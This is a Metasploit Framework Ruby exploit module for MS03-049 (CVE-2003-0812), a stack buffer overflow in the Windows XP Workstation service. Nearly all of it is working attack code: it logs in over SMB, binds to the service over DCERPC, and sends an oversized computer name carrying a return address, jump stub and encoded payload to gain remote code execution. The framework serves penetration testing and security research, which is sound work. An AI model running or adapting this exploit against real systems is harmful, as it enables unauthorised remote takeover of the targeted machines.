1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 |
## # $Id: ms03_049_netapi.rb 9262 2010-05-09 17:45:00Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft Workstation Service NetAddAlternateComputerName Overflow', 'Description'=> %q{ This module exploits a stack buffer overflow in the NetApi32 NetAddAlternateComputerName function using the Workstation service in Windows XP. }, 'Author' => [ 'hdm' ], 'License'=> MSF_LICENSE, 'Version'=> '$Revision: 9262 $', 'References' => [ [ 'CVE', '2003-0812' ], [ 'OSVDB', '11461' ], [ 'BID', '9011' ], [ 'MSB', 'MS03-049' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Privileged' => true, 'Payload'=> { 'Space'=> 1000, 'BadChars' =>"\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c" + [*(0x80..0x9f)].pack('C*'), 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'DefaultTarget'=> 0, 'Targets'=> [ [ 'Windows XP SP0/SP1', { 'Ret' => 0x71aa32ad # pop/pop/ret in ws2help.dll } ], ], 'DisclosureDate' => 'Nov 11 2003')) register_options( [ OptString.new('SMBPIPE', [ true,"The pipe name to use (BROWSER, WKSSVC)", 'BROWSER']), ], self.class) end def exploit connect() smb_login() handle = dcerpc_handle( '6bffd098-a112-3610-9833-46c3f87e345a', '1.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"] ) print_status("Binding to #{handle} ...") dcerpc_bind(handle) print_status("Bound to #{handle} ...") print_status("Building the stub data...") name = rand_text_alphanumeric(5000) name[3496, 4] = [target.ret].pack('V') name[3492, 2] = "\xeb\x06" name[3500, 5] = "\xe9" + [-3505].pack('V') name[0, payload.encoded.length] = payload.encoded stub = NDR.long(rand(0xffffffff)) + NDR.UnicodeConformantVaryingString("\\\\#{datastore['RHOST']}") + NDR.long(rand(0xffffffff)) + NDR.UnicodeConformantVaryingString(name) + NDR.long(rand(0xffffffff)) + NDR.UnicodeConformantVaryingString('') + NDR.long(0) + NDR.long(0) print_status("Calling the vulnerable function...") begin dcerpc.call(0x1b, stub) rescue Rex::Proto::DCERPC::Exceptions::NoResponse rescue => e if e.to_s !~ /STATUS_PIPE_DISCONNECTED/ raise e end end # Cleanup handler disconnect end end |